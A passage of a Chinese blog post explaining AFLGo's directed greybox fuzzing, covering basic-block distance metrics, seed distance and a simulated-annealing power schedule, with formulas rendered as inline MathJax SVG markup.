stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>，类似地考虑<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.195ex" height="1.889ex" role="img" focusable="false" viewBox="0 -677 970.3 834.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span>的距离，同时加上<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.986ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 878 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>的最短路径.</li></ul><p>实际上，针对前面计算操作，<strong>这里我有一个疑问是如何解决reachability问题？ 因为所有的计算都建立在假设已知函数和函数之间的可达性以及基本块之间的可达性的基础之上</strong>。关于这一点还需要去看代码才行。</p><p>通过前面定义的两种度量方式，我们可以在静态阶段就给某个CFG上每个node（基本块）都assign一个值，这个值就表示其距离目标函数的远近程度。然后利用这个值来计算当前运行过程中seed对应的seed distance，严格定义如下 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -2.172ex" xmlns="http://www.w3.org/2000/svg" width="25.755ex" height="7.679ex" role="img" focusable="false" viewBox="0 -2434.1 11383.6 3394.1"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(520,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(909,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(1378,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(1822.7,0)"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 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data-mml-node="mo" transform="translate(0 -0.5)"><path data-c="7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path></g><g data-mml-node="mi" transform="translate(278,0)"><path data-c="1D709" d="M268 632Q268 704 296 704Q314 704 314 687Q314 682 311 664T308 635T309 620V616H315Q342 619 360 619Q443 619 443 586Q439 548 358 546H344Q326 546 317 549T290 566Q257 550 226 505T195 405Q195 381 201 364T211 342T218 337Q266 347 298 347Q375 347 375 314Q374 297 359 288T327 277T280 275Q234 275 208 283L195 286Q149 260 119 214T88 130Q88 116 90 108Q101 79 129 63T229 20Q238 17 243 15Q337 -21 354 -33Q383 -53 383 -94Q383 -137 351 -171T273 -205Q240 -205 202 -190T158 -167Q156 -163 156 -159Q156 -151 161 -146T176 -140Q182 -140 189 -143Q232 -168 274 -168Q286 -168 292 -165Q313 -151 313 -129Q313 -112 301 -104T232 -75Q214 -68 204 -64Q198 -62 171 -52T136 -38T107 -24T78 -8T56 12T36 37T26 66T21 103Q21 149 55 206T145 301L154 307L148 313Q141 319 136 323T124 338T111 358T103 382T99 413Q99 471 143 524T259 602L271 607Q268 618 268 632Z"></path></g><g data-mml-node="mo" transform="translate(716,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1105,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(1574,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(1963,0) translate(0 -0.5)"><path data-c="7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path></g></g><rect width="6628" height="60" x="120" y="220"></rect></g></g></g></svg></mjx-container></span> 其中<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span>表示某个seed，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="3.812ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 1685 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D709" d="M268 632Q268 704 296 704Q314 704 314 687Q314 682 311 664T308 635T309 620V616H315Q342 619 360 619Q443 619 443 586Q439 548 358 546H344Q326 546 317 549T290 566Q257 550 226 505T195 405Q195 381 201 364T211 342T218 337Q266 347 298 347Q375 347 375 314Q374 297 359 288T327 277T280 275Q234 275 208 283L195 286Q149 260 119 214T88 130Q88 116 90 108Q101 79 129 63T229 20Q238 17 243 15Q337 -21 354 -33Q383 -53 383 -94Q383 -137 351 -171T273 -205Q240 -205 202 -190T158 -167Q156 -163 156 -159Q156 -151 161 -146T176 -140Q182 -140 189 -143Q232 -168 274 -168Q286 -168 292 -165Q313 -151 313 -129Q313 -112 301 -104T232 -75Q214 -68 204 -64Q198 -62 171 -52T136 -38T107 -24T78 -8T56 12T36 37T26 66T21 103Q21 149 55 206T145 301L154 307L148 313Q141 319 136 323T124 338T111 358T103 382T99 413Q99 471 143 524T259 602L271 607Q268 618 268 632Z"></path></g><g data-mml-node="mo" transform="translate(438,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(827,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(1296,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>则表示执行<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span>所触发的trace，trace具体指在执行过程中触发基本块的个数。注意这里是取了一次算术平均，其合理性值得探讨，我猜可以从基本块之间的order关系展开。</p><h4 id="x06-seed-optimization">0x06 seed optimization</h4><p>在具体构建模拟退火调度之前，先理解文中提到的两个概念：</p><ol type="1"><li><p>exploration</p><p>探索模式可以理解为在全局上有策略地随机的搜索最好的local解，这个过程aflgo和afl工作方式相同，都是基于覆盖率来调度seed sequence。这个模式要先于下面的exploitation，并不是一上来就基于user defined target info来做辅助，而是先拿到更多路径，到了一定limits再使用下面的策略，从直觉上说这是确实是对的，有了路径多样性，我们才能来做更准确的distance的测算。</p></li><li><p>exploitation</p><p>构造模式在前面探索模式达到一定limits就选择进入，例如设置相关的时间阈值。在拥有了路径的多样性之后，针对性对target location发起进攻，优先选择离target location更近的种子来进行fuzz，并增加其mutation次数。</p></li></ol><p>exploration和exploitation由能量调度策略来进行切换，首先需要理解什么是the energy of seed？ 一个种子所带的能量其实就是指其fuzzer对其做mutation的次数，能量越大，fuzzer在其基础上产生的新种子可能就越多。</p><p>在“Coverage-based Greybox Fuzzing As MarkovChain”一文中使用了马尔科夫链来model fuzzing，结合power schedule来驱动fuzzing。本文作者正是由此而尝试使用模拟退火方法，因为模拟退火在本质上就是一种马尔科夫蒙特卡洛方法。常用于固定时间内在较大的解空间中搜索近似全局最优解的优化方法。模拟退火的思想借鉴于固体的退火原理，当固体的温度很高的时候，内能比较大，固体的内部粒子处于快速无序运动，当温度慢慢降低的过程中，固体的内能减少，粒子的慢慢趋于有序，最终当固体处于常温时，内能达到最小，此时粒子最为稳定。</p><p>模拟退火从描述是从某一较高的稳定出发，这个温度称为初始温度，伴随着温度参数的不断下降，得到近似解也在不断的变换。类比爬山算法，该算法每次都会从当前的临近解空间中选择一个最优的解，直到达到一个局部最优解。而模拟退火，即使某次搜索过程中得到了局部最优解，也有一定概率去搜索其他的解（接受非最优解），避免陷入局部最优解。这个概率是随着温度地降低而变化的，这个过程参照物理系统总是趋向于能量最低，但分子热运动则趋向于破坏这种低能量的状态，所以存在一定几率导致其能量并没有发送变化，温度越低这个概率是越小的。</p><p>在了解模拟退火的基本概念之后，首先需要model一个降温过程即<strong>cooling schedule</strong>，这个降温过程应该是比较缓慢的，文章使用model如下 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.65ex" xmlns="http://www.w3.org/2000/svg" width="13.404ex" height="2.694ex" role="img" focusable="false" viewBox="0 -903.7 5924.6 1190.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="TeXAtom" transform="translate(617,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 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transform="translate(3090.2,0)"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mn" transform="translate(617,-150) scale(0.707)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 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xmlns="http://www.w3.org/2000/svg" width="1.459ex" height="1.645ex" role="img" focusable="false" viewBox="0 -705 645 727"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D446" d="M308 24Q367 24 416 76T466 197Q466 260 414 284Q308 311 278 321T236 341Q176 383 176 462Q176 523 208 573T273 648Q302 673 343 688T407 704H418H425Q521 704 564 640Q565 640 577 653T603 682T623 704Q624 704 627 704T632 705Q645 705 645 698T617 577T585 459T569 456Q549 456 549 465Q549 471 550 475Q550 478 551 494T553 520Q553 554 544 579T526 616T501 641Q465 662 419 662Q362 662 313 616T263 510Q263 480 278 458T319 427Q323 425 389 408T456 390Q490 379 522 342T554 242Q554 216 546 186Q541 164 528 137T492 78T426 18T332 -20Q320 -22 298 -22Q199 -22 144 33L134 44L106 13Q83 -14 78 -18T65 -22Q52 -22 52 -14Q52 -11 110 221Q112 227 130 227H143Q149 221 149 216Q149 214 148 207T144 186T142 153Q144 114 160 87T203 47T255 29T308 24Z"></path></g></g></g></svg></mjx-container></span>表示所有已知seeds构成的集合。</p><p>给定种子 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 和目标地址 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.195ex" height="1.889ex" role="img" focusable="false" viewBox="0 -677 970.3 834.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 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stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>，其能量model如下 <span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.65ex" xmlns="http://www.w3.org/2000/svg" width="47.277ex" height="2.917ex" role="img" focusable="false" viewBox="0 -1002 20896.5 1289.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g 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width="3.974ex" height="2.181ex" role="img" focusable="false" viewBox="0 -677 1756.7 964.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="TeXAtom" transform="translate(617,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path 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102Z"></path></g></g></g></g></g></svg></mjx-container></span>越小，曲线越陡。</p><figure><img src="https://www.m4p1e.com/images/image-20210517230445130.png" alt="energy under different timing"><figcaption aria-hidden="true">energy under different timing</figcaption></figure><p>相同时刻<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.176ex" height="2.29ex" role="img" focusable="false" viewBox="0 -1002 520 1012"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mover"><g data-mml-node="mi"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 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focusable="false" viewBox="0 -1002 3182 1252"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mover"><g data-mml-node="mi"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 